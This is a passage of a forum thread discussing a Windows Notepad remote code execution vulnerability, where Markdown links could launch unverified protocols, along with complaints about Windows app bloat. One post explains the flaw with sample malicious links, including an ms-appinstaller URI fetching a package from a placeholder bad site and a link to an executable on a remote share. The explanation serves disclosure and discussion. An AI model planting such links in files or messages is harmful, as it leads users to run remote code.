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Windows Notepad App Remote Code Execution Vulnerability

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Re: Windows Notepad App Remote Code Execution Vulnerability

#511

Earlier quoted context omitted.

Markdown is readable as plain text, that's kind of the point of it There's also a pretty large jump between "I can ask the system to open this link in the default browser" and "I have built my own link handling in a memory-unsafe language to support some really fringe features, and oops it's exploitable"

Except memory-unsafe and fringe features have nothing to do with this CVE, which seems incredibly dumb on the face of it. Replace Notepad with Chrome or Edge - clicking on a link downloads content from the Internet! Oh noes!

I haven't had time to look at it in detail but surely the vulnerability is more than a "click a URL".

Re: Windows Notepad App Remote Code Execution Vulnerability

#512
post #338

Earlier quoted context omitted.

> What counts as "large"? Remote into a machine that you're not allowed to copy data out of. You only have the utilities baked into Windows and whatever the validated CI/CD process put there. You need to open a log file that has ballooned to at least several hundred megabytes, maybe more. Moby Dick is about 1MB of text. That's really not much compared to a lot of log files on pretty hot servers. I do agree though, if…

Oh right, generated files exist. Though logging systems usually have a rollover file size you can configure, should this happen to you in real life. Honestly I'm okay with having to resort to power tools for these edge cases. Notepad is more for the average user who is less likely to run into 100 MB text files and more likely to run into a 2 kB text file someone shared on Discord.

> Notepad is more for the average user who is less likely to run into 100 MB text files and more likely to run into a 2 kB text file someone shared on Discord.

There's no reason it shouldn't handle both use cases.

Re: Windows Notepad App Remote Code Execution Vulnerability

#514

Earlier quoted context omitted.

Just... no... not notepad.. Notepad should be the single-simplest of text editors, always has been, always should be... it should be "safe" much like "task manager" it should be as simple and bulletproof as any application in Windows are... these are essential tools that should never, ever, ever break. MS has WordPad... f ck around with that to make it support markdown or whatever else beyond rtf you want it to suppo…

Old notepad is still there, it's just in System32 and you have to disable app execution alias for notepad.exe (apps > advanced app settings > app execution aliases)

FYI, old notepad has a permanent advertisement / notification at the top saying that there's a new version of Notepad available!

I'm not sure if it's possible to get rid of the nag banner. And even if it is possible to get rid of it temporarily, it's probably not possible to get rid of it permanently.

I will find out...

Re: Windows Notepad App Remote Code Execution Vulnerability

#515

Earlier quoted context omitted.

It doesn't do any markdown parsing unless you specifically open a .md file

It should never do any kind of parsing for any kind of file, irrespective of the file extension! It's supposed to be a basic text file viewer / editor, not an alternative to WordPad or VS Code! Not every app has to be everything for everybody. We're in an era now where Calc.exe takes appreciable time to start and pops up HTTP web proxy authentication prompts on some networks. It's just incredible to me the level of e…

[dead]

Re: Windows Notepad App Remote Code Execution Vulnerability

#516

Earlier quoted context omitted.

Except memory-unsafe and fringe features have nothing to do with this CVE, which seems incredibly dumb on the face of it. Replace Notepad with Chrome or Edge - clicking on a link downloads content from the Internet! Oh noes!

I haven't had time to look at it in detail but surely the vulnerability is more than a "click a URL".

No, that's exactly what the vulnerability is as far as I know.

"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files." https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...

Imagine some Markdown:

    [link](https://badsite.com)
    [link](file://C:/windows/system32/cmd.exe)
    [link](file://\\1.2.3.4\share\foo.exe)
    [link](ms-appinstaller://?source=https://badsite.com/bad.appx)
Wordpad, Notepad++ and many others highlight and let you double-click the URL in the first three lines, and yes they use the shell to open cmd.exe, yes they open remote shares (which if they're properly remote, the shell throws up a warning prompt asking if you want to connect). Wordpad always prompts if you want to open the link (and shows the link) before doing it, but you can click "Yes".

What's beyond the pale is that MS's new Notepad highlighted custom URIs like the fourth link, and let you click to open it without a prompt. Even web browsers will prompt at least once with a special modal dialogue, the first time you click on a link to a custom URI. For safety, a text editor should stick to highlighting http/https/file URIs only.

That's the "RCE", in the same way that telling a Linux user to type "curl | sudo bash" in their shell is "RCE".

The fix is that clicking the link now gives a dialogue box asking if you really want to click it, and remember to click no if you're not sure.

Re: Windows Notepad App Remote Code Execution Vulnerability

#517
post #501

Earlier quoted context omitted.

That's why we have text editors, markdown viewers, image viewers, etc. You were never able to "click a link" in Notepad in the past. Mixing responsibilities brings with it lots of baggage, security vulnerabilities being one of them.

> That's why we have text editors, markdown viewers, image viewers, etc. This is so 80s. Now we have systemd (svchost.exe), wayland (explorer) and a webbrowser (chrome). You don't need more.

Not sure if sarcasm, but it's not true. For example, high performance software is still built the 80s way.

Re: Windows Notepad App Remote Code Execution Vulnerability

#518
post #274
post #151

Earlier quoted context omitted.

The day calculator brought me to an MS Store login was the day I became a radical.

Mine was when they asked me to rate the calculator on the store.

That's exactly what it was, I misremembered.

But a few months ago, I gave 11 a shot on my gaming PC Windows partition, because 10 had reached end of life, and Minecraft refused to work on it at all, Minecraft then required the store login, without any recourse.

So I wiped out the Windows partition and decided Java Edition on Linux was good enough. My kids stopped playing Bedrock anyway. All the other games I cared about worked on Linux too.

For me, that's really just Rocket League, but that might die when EAC is added, so another toxic company might be out of my life soon. It'll be sad after 4k hours, but I expected the day to come the day Epic took over.

Sober for Roblox is good enough for occasional play with the kids.

And just 1 person at work is keeping Windows alive, hopefully they're going to retire soon.

Re: Windows Notepad App Remote Code Execution Vulnerability

#519

Earlier quoted context omitted.

Just... no... not notepad.. Notepad should be the single-simplest of text editors, always has been, always should be... it should be "safe" much like "task manager" it should be as simple and bulletproof as any application in Windows are... these are essential tools that should never, ever, ever break. MS has WordPad... f ck around with that to make it support markdown or whatever else beyond rtf you want it to suppo…

WordPad was discontinued.

Oh, so Microsoft can never, ever, possibly resurrect the product or even name of the product again? This is even more reason why it was probably a better place tp put features like a markdown editor.

Re: Windows Notepad App Remote Code Execution Vulnerability

#520

Earlier quoted context omitted.

Kind of a weird feeling that in order to get the better Windows 11 experience one requires programs from four operating system versions earlier. Windows 11 also takes a huge amount of time to get working as i intend. I have to remove a lot of 'features' and heavily optimize some processes. It's stable and it works, but i'm getting more and more annoyed by it that upcoming updates sometimes destroy all my effort. Kind…

Probably the only good thing about Google Docs becoming so popular in school/education use... All you need is a current Chromium based browser mostly. The Web versions of Office, err MS 365, err CoPilot App.. (OMG!>!!>) ... aren't so bad to use in a Linux browser either.

> All you need is a current Chromium based browser mostly.

Google Docs works fine for me in Firefox as well.

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